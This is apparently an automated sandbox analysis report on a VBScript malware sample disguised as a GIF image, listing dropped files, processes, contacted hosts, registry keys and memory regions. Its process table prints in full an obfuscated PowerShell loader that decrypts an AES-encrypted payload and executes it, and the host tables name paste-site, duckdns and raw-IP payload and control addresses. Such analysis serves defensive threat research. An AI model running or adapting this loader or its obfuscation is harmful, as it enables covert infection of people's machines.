Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
ucancrosstheflowerbeautiytogetin.gIF.vbs
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
initial sample
|
||
C:\Users\user\AppData\Local\Temp\note\nots.dat
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\paste1[1].txt
|
ASCII text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json
|
JSON data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ukmm4ju.bmq.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txdi25mf.41b.ps1
|
ASCII text, with no line terminators
|
dropped
|
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ucancrosstheflowerbeautiytogetin.gIF.vbs"
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged
= New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g
= [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key
= ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes
= [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes
= TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return
[System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI99645972962600823844763280617644CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64
= '+'CnIzrLkMfCMq2rIsTPnsb8jY47nqz/Y3CrDhgWeqNwTLWPZq+63N4Yhb4EnQJlSBVsguiI84l7zQtwXUQDNIqA92qrVYISAWXhnAYlXALfgssFnno/A2WwlOAFMD/NaVHV+icZyMNgugo/qb9zXaAO8+cQKC7PRaSfFqfVh6ouLofUA5r9MdLhJcneg+mqvCsSeIs3qhIp0vL4z2IKMK2L+k3UqicZjYCi+pQuAnUnn6K9CK71T+oydLiK4GCe2wGcbgIv2DkqaxSHySRydLdHWL0Gi3gEyBH38YBdVu9yBq5glJrh9I8g3FMB1F3MmIaOPg1KNoX9pH1Ub1ee/WxI3psHt96qJfCOVjRl8WZBZ/25QPRntDiX3CNsajiC9dyuVj5z5gQi8aVHKqGC917SReapeeZ0Cc8AhgWyke24u2jHI0QVsseFLiJgwDrex02OunlMSaX32SzeO0kHYzd1RECVE6yk6v7aAq9+TvaqLALY88yliJbfXlcRGeV7edBQLXzJuY5KQ31nWGyUzNenSlvUEvmZXuZ8k9A/a2Nc9Hr3s8k5NMMd3H479dy8/86CJic0bNcnApcxv7O8Un7Ju+yY8SP4rtI3SMFC0vm2vpLwjRjG/9eze4vvZCB1bC8f/j50YLUH9CUo4HgkBoIZCb0IA3oePudi8YFi00YVldRxoxts1jNHBcXLNcewoBJlBHRwFDG6fjgHV3j6P9jnOqMagHomqR1aHltsLzaM+rrG8GFKA3J3po82f2qKuXUKy7JE0+mDm0JnNX+TJztMNCbMNgqBYdflFEp2ir4NAUKLUU1QI6UTgOqf4PlRc7UiCRv5vPMF8ozNN2xns8NMF/XFC9hNsKSURv09S9rBXrn02FWnZJ4f2fr++C52b/4/ckoDa4iu5B2+phXA02niHmmbYDev+Dqz2ElbsoeY3YzDdts+nrseEhOip+iFMPENsFezcvBhpr0l0fszFeuUa0GlaxS1ew1CovjoIVwUs8S/jgCqxTKcIXXBxWnKWm3mR4vwi0ajQV+tHJgy32K2BmV5rF4YAQ1h4Qibdg0vgE7IwO6h3m8kGFkXeiYajfraMYftsvnztTExQKxccg0Bb9EbeVBWg2rml5Kl3ZIKpVWMnz5/ObGF3ovPp2erk/L7gmbFngwPL//lX49kTOc2QoXA7+oy0WQq+27kjIPsYZU4QoG2ZwsKnnDBXN7JE9SwTsEt0kog7f1aKg45cO9g7n/iZfPMfyfKmzE30L9H+oIIvD4jJJkdyZ2H8X78p0NIUYSQ+QMYMOEimSClFq7FIXjTO6KnsBFBvotz1InJLUgn7bYMGX4n9kaJV5BsZGig70cx4ANxQI4IXuA72zIOoQf/xZghiHMzgvmO7qIopxTZ44FYpyt89FGblmTsodmcKBe7hqqYT5+Ec+oUO9PiPT70JaDUj/yn7c6VWECh38exGlPiARukcYHn0Ho0Z2CDitPLsNU63GCra3riIbidF39vAdcBK7G/mG0I+oPLcOQQ2RJmrQ+BkIEkh0ChRfeNyaysmJx2gLSjz89+Y0saZbkqtECuwufAtp9BHE7gldgIkSmHwLnFzwyDE7zg+ZAwyn5BddaTl09JKnhn4ILbZTSfV0zfiK/cyeHYryggXQ3fjKKpwaR9fo2PRyTC2gFYgRc0JenJ7MtMiZj5a6d9vzcezTdg3AD4Q5zn6pL9HSdvBQdB1Ta8P1l9O87UiBWx7fn/N5/Thfcm1Tb56BIzFYbrXiDB86dMeE2xNU4buN7tmTwFkQG+ILl+MdKPy0I37CnI;TMItextoDescriptografado
= Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado:
TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34
-cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&(
$verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg
|
207.241.232.195
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt
|
172.66.40.229
|
||
sembe.duckdns.org
|
|||
http://139.99.220.222/66266/ERVB.txt
|
139.99.220.222
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt-Langu
|
unknown
|
||
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txte
|
unknown
|
||
https://pastecode.dev
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt#
|
unknown
|
||
http://geoplugin.net/json.gpl8
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txtm
|
unknown
|
||
https://github.com/Pester/Pester
|
unknown
|
||
http://geoplugin.net/json.gpSystem32
|
unknown
|
||
http://geoplugin.net/json.gpll
|
unknown
|
||
http://geoplugin.net/json.gp
|
178.237.33.50
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt?
|
unknown
|
||
http://ia803405.us.archive.org
|
unknown
|
||
https://pastecode.dev/raw/6l7qj
|
unknown
|
||
http://geoplugin.net/json.gp/C
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txtB
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txttps://pastecode.dev/raw/6l7qjjrz/paste1.txtVVC:
|
unknown
|
||
https://pastecode.dev/
|
unknown
|
||
http://geoplugin.net/json.gpR
|
unknown
|
||
https://ia803405.us.archive.org
|
unknown
|
||
https://aka.ms/pscore68
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt42
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
http://www.m_.
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txtuU
|
unknown
|
There are 20 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
ia803405.us.archive.org
|
207.241.232.195
|
||
sembe.duckdns.org
|
194.187.251.115
|
||
pastecode.dev
|
172.66.40.229
|
||
171.39.242.20.in-addr.arpa
|
unknown
|
||
geoplugin.net
|
178.237.33.50
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
207.241.232.195
|
ia803405.us.archive.org
|
United States
|
||
139.99.220.222
|
unknown
|
Canada
|
||
172.66.40.229
|
pastecode.dev
|
United States
|
||
194.187.251.115
|
sembe.duckdns.org
|
United Kingdom
|
||
178.237.33.50
|
geoplugin.net
|
Netherlands
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
exepath
|
||
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
licence
|
||
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
time
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
There are 7 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
129B000
|
heap
|
page read and write
|
||
400000
|
remote allocation
|
page execute and read and write
|
||
39EB000
|
stack
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
15A4812F000
|
trusted library allocation
|
page read and write
|
||
15A45F50000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
15A45FA0000
|
trusted library allocation
|
page read and write
|
||
936A7F000
|
stack
|
page read and write
|
||
15A47C50000
|
heap
|
page read and write
|
||
15A4C77B000
|
trusted library allocation
|
page read and write
|
||
20F5E7D7000
|
heap
|
page read and write
|
||
15A48B83000
|
trusted library allocation
|
page read and write
|
||
20F604E3000
|
heap
|
page read and write
|
||
20F5E6E0000
|
heap
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
6DA72FF000
|
stack
|
page read and write
|
||
20F604D6000
|
heap
|
page read and write
|
||
20F5E8AD000
|
heap
|
page read and write
|
||
20F60D46000
|
heap
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
6DA6CF4000
|
stack
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
20F607D0000
|
heap
|
page read and write
|
||
15A45F00000
|
heap
|
page read and write
|
||
15A47C61000
|
trusted library allocation
|
page read and write
|
||
13A0000
|
heap
|
page read and write
|
||
20F60D38000
|
heap
|
page read and write
|
||
20F604CD000
|
heap
|
page read and write
|
||
15A47CE2000
|
trusted library allocation
|
page read and write
|
||
20F5E840000
|
heap
|
page read and write
|
||
1010000
|
heap
|
page read and write
|
||
20F604FC000
|
heap
|
page read and write
|
||
DAB000
|
stack
|
page read and write
|
||
936C7D000
|
stack
|
page read and write
|
||
2F4F000
|
stack
|
page read and write
|
||
20F60E0B000
|
heap
|
page read and write
|
||
20F60EC5000
|
heap
|
page read and write
|
||
1311000
|
heap
|
page read and write
|
||
20F5E834000
|
heap
|
page read and write
|
||
20F5E8AB000
|
heap
|
page read and write
|
||
15A4D1A8000
|
trusted library allocation
|
page read and write
|
||
318F000
|
stack
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
308D000
|
stack
|
page read and write
|
||
20F60D32000
|
heap
|
page read and write
|
||
20F60D7D000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
15A48113000
|
trusted library allocation
|
page read and write
|
||
20F606E0000
|
remote allocation
|
page read and write
|
||
20F604F3000
|
heap
|
page read and write
|
||
20F5E7F8000
|
heap
|
page read and write
|
||
20F604B1000
|
heap
|
page read and write
|
||
15A49583000
|
trusted library allocation
|
page read and write
|
||
20F60E00000
|
heap
|
page read and write
|
||
20F5E720000
|
heap
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
20F60740000
|
heap
|
page read and write
|
||
20F604BD000
|
heap
|
page read and write
|
||
15A4812B000
|
trusted library allocation
|
page read and write
|
||
10E0000
|
heap
|
page read and write
|
||
474000
|
remote allocation
|
page execute and read and write
|
||
20F604D6000
|
heap
|
page read and write
|
||
15A4DB88000
|
trusted library allocation
|
page read and write
|
||
15A4C784000
|
trusted library allocation
|
page read and write
|
||
32EF000
|
stack
|
page read and write
|
||
6DA6EFE000
|
stack
|
page read and write
|
||
936B7E000
|
stack
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
20F60160000
|
heap
|
page read and write
|
||
20F60DB4000
|
heap
|
page read and write
|
||
20F604D2000
|
heap
|
page read and write
|
||
123C000
|
stack
|
page read and write
|
||
9367FE000
|
stack
|
page read and write
|
||
20F60DB4000
|
heap
|
page read and write
|
||
20F60559000
|
heap
|
page read and write
|
||
20F60523000
|
heap
|
page read and write
|
||
20F5E715000
|
heap
|
page read and write
|
||
38ED000
|
stack
|
page read and write
|
||
20F60508000
|
heap
|
page read and write
|
||
20F60D47000
|
heap
|
page read and write
|
||
15A4811E000
|
trusted library allocation
|
page read and write
|
||
3CDE000
|
stack
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F60559000
|
heap
|
page read and write
|
||
15A45DC0000
|
heap
|
page read and write
|
||
15A45D78000
|
heap
|
page read and write
|
||
1020000
|
heap
|
page read and write
|
||
1301000
|
heap
|
page read and write
|
||
38AF000
|
stack
|
page read and write
|
||
127C000
|
stack
|
page read and write
|
||
20F5E840000
|
heap
|
page read and write
|
||
6DA6DFE000
|
stack
|
page read and write
|
||
37AE000
|
stack
|
page read and write
|
||
6DA74FE000
|
stack
|
page read and write
|
||
20F60D86000
|
heap
|
page read and write
|
||
20F5E7FE000
|
heap
|
page read and write
|
||
936E3E000
|
stack
|
page read and write
|
||
20F60E0B000
|
heap
|
page read and write
|
||
6DA71FE000
|
stack
|
page read and write
|
||
15A4A984000
|
trusted library allocation
|
page read and write
|
||
20F60559000
|
heap
|
page read and write
|
||
20F60D7D000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
131C000
|
heap
|
page read and write
|
||
20F5E8AB000
|
heap
|
page read and write
|
||
15A46030000
|
heap
|
page read and write
|
||
2E4E000
|
stack
|
page read and write
|
||
20F60EC1000
|
heap
|
page read and write
|
||
20F60DB6000
|
heap
|
page read and write
|
||
936EBB000
|
stack
|
page read and write
|
||
20F5E7D0000
|
heap
|
page read and write
|
||
20F604D5000
|
heap
|
page read and write
|
||
6DA73FB000
|
stack
|
page read and write
|
||
20F60DB4000
|
heap
|
page read and write
|
||
15A4B384000
|
trusted library allocation
|
page read and write
|
||
15A45D72000
|
heap
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F60D4A000
|
heap
|
page read and write
|
||
20F5E80F000
|
heap
|
page read and write
|
||
20F604D5000
|
heap
|
page read and write
|
||
304F000
|
stack
|
page read and write
|
||
20F60650000
|
heap
|
page read and write
|
||
15A47E84000
|
trusted library allocation
|
page read and write
|
||
20F5E8CE000
|
heap
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
936AFD000
|
stack
|
page read and write
|
||
20F60920000
|
trusted library allocation
|
page read and write
|
||
15A48155000
|
trusted library allocation
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F604E6000
|
heap
|
page read and write
|
||
20F60521000
|
heap
|
page read and write
|
||
20F60D84000
|
heap
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F60E0B000
|
heap
|
page read and write
|
||
12C3000
|
heap
|
page read and write
|
||
10E5000
|
heap
|
page read and write
|
||
6DA76FE000
|
stack
|
page read and write
|
||
20F60670000
|
heap
|
page read and write
|
||
15A4E588000
|
trusted library allocation
|
page read and write
|
||
20F5E600000
|
heap
|
page read and write
|
||
20F5E7F9000
|
heap
|
page read and write
|
||
20F5E8AD000
|
heap
|
page read and write
|
||
3B2E000
|
stack
|
page read and write
|
||
93713B000
|
stack
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
6DA75FE000
|
stack
|
page read and write
|
||
12E2000
|
heap
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
936DB6000
|
stack
|
page read and write
|
||
9370BE000
|
stack
|
page read and write
|
||
93703E000
|
stack
|
page read and write
|
||
3A2D000
|
stack
|
page read and write
|
||
15A4C7A8000
|
trusted library allocation
|
page read and write
|
||
936FBE000
|
stack
|
page read and write
|
||
20F5E7C0000
|
heap
|
page read and write
|
||
937B8D000
|
stack
|
page read and write
|
||
93677E000
|
stack
|
page read and write
|
||
20F604D5000
|
heap
|
page read and write
|
||
20F5E8CD000
|
heap
|
page read and write
|
||
20F60DBC000
|
heap
|
page read and write
|
||
936D3E000
|
stack
|
page read and write
|
||
936BFE000
|
stack
|
page read and write
|
||
20F60DB4000
|
heap
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
15A45D00000
|
heap
|
page read and write
|
||
1318000
|
heap
|
page read and write
|
||
20F604CA000
|
heap
|
page read and write
|
||
20F5E8AB000
|
heap
|
page read and write
|
||
15A45F40000
|
heap
|
page read and write
|
||
11FE000
|
stack
|
page read and write
|
||
20F604EF000
|
heap
|
page read and write
|
||
20F606E0000
|
remote allocation
|
page read and write
|
||
937B0E000
|
stack
|
page read and write
|
||
15A45D30000
|
heap
|
page read and write
|
||
15A48153000
|
trusted library allocation
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
936E38000
|
stack
|
page read and write
|
||
14A0000
|
heap
|
page read and write
|
||
3DDF000
|
stack
|
page read and write
|
||
20F604D5000
|
heap
|
page read and write
|
||
1390000
|
heap
|
page read and write
|
||
20F607B0000
|
heap
|
page read and write
|
||
15A45CF0000
|
heap
|
page read and write
|
||
20F5E8AD000
|
heap
|
page read and write
|
||
15A45D3B000
|
heap
|
page read and write
|
||
20F604C6000
|
heap
|
page read and write
|
||
20F60ECE000
|
heap
|
page read and write
|
||
20F5E8C3000
|
heap
|
page read and write
|
||
3B9E000
|
stack
|
page read and write
|
||
20F5E7C5000
|
heap
|
page read and write
|
||
15A45D7C000
|
heap
|
page read and write
|
||
20F604BA000
|
heap
|
page read and write
|
||
20F604B0000
|
heap
|
page read and write
|
||
15A49F84000
|
trusted library allocation
|
page read and write
|
||
20F60D3F000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
20F5E8AB000
|
heap
|
page read and write
|
||
20F5E8AD000
|
heap
|
page read and write
|
||
20F60DBC000
|
heap
|
page read and write
|
||
20F5E865000
|
heap
|
page read and write
|
||
15A45F80000
|
trusted library allocation
|
page read and write
|
||
15A48183000
|
trusted library allocation
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
20F60D33000
|
heap
|
page read and write
|
||
20F60D32000
|
heap
|
page read and write
|
||
15A45F44000
|
heap
|
page read and write
|
||
20F60520000
|
heap
|
page read and write
|
||
20F60E0B000
|
heap
|
page read and write
|
||
20F60EC0000
|
heap
|
page read and write
|
||
20F605E0000
|
heap
|
page read and write
|
||
15A45DBA000
|
heap
|
page read and write
|
||
CAC000
|
stack
|
page read and write
|
||
20F60D47000
|
heap
|
page read and write
|
||
15A48123000
|
trusted library allocation
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
15A45FB0000
|
heap
|
page readonly
|
||
20F5E710000
|
heap
|
page read and write
|
||
936CF9000
|
stack
|
page read and write
|
||
20F60D30000
|
heap
|
page read and write
|
||
20F60D30000
|
heap
|
page read and write
|
||
20F60D36000
|
heap
|
page read and write
|
||
20F60DA1000
|
heap
|
page read and write
|
||
3C9F000
|
stack
|
page read and write
|
||
9366F3000
|
stack
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
15A4EF88000
|
trusted library allocation
|
page read and write
|
||
31EE000
|
stack
|
page read and write
|
||
20F60D7D000
|
heap
|
page read and write
|
||
20F60DE0000
|
heap
|
page read and write
|
||
20F604B2000
|
heap
|
page read and write
|
||
15A45D92000
|
heap
|
page read and write
|
||
20F60D84000
|
heap
|
page read and write
|
||
20F60521000
|
heap
|
page read and write
|
||
20F604B2000
|
heap
|
page read and write
|
||
20F604F3000
|
heap
|
page read and write
|
||
20F60DE4000
|
heap
|
page read and write
|
||
1290000
|
heap
|
page read and write
|
||
20F604B4000
|
heap
|
page read and write
|
||
20F60D7D000
|
heap
|
page read and write
|
||
20F604DA000
|
heap
|
page read and write
|
||
15A47B20000
|
trusted library allocation
|
page read and write
|
||
478000
|
remote allocation
|
page execute and read and write
|
||
936F3E000
|
stack
|
page read and write
|
||
15A4BD84000
|
trusted library allocation
|
page read and write
|
||
15A47BB0000
|
heap
|
page execute and read and write
|
||
6DA78FB000
|
stack
|
page read and write
|
||
20F606E0000
|
remote allocation
|
page read and write
|
||
15A4F988000
|
trusted library allocation
|
page read and write
|
||
20F5E834000
|
heap
|
page read and write
|
||
3190000
|
heap
|
page read and write
|
||
6DA70FF000
|
stack
|
page read and write
|
||
15A46035000
|
heap
|
page read and write
|
||
6DA79FE000
|
stack
|
page read and write
|
||
20F60D42000
|
heap
|
page read and write
|
There are 251 hidden memdumps, click here to show them.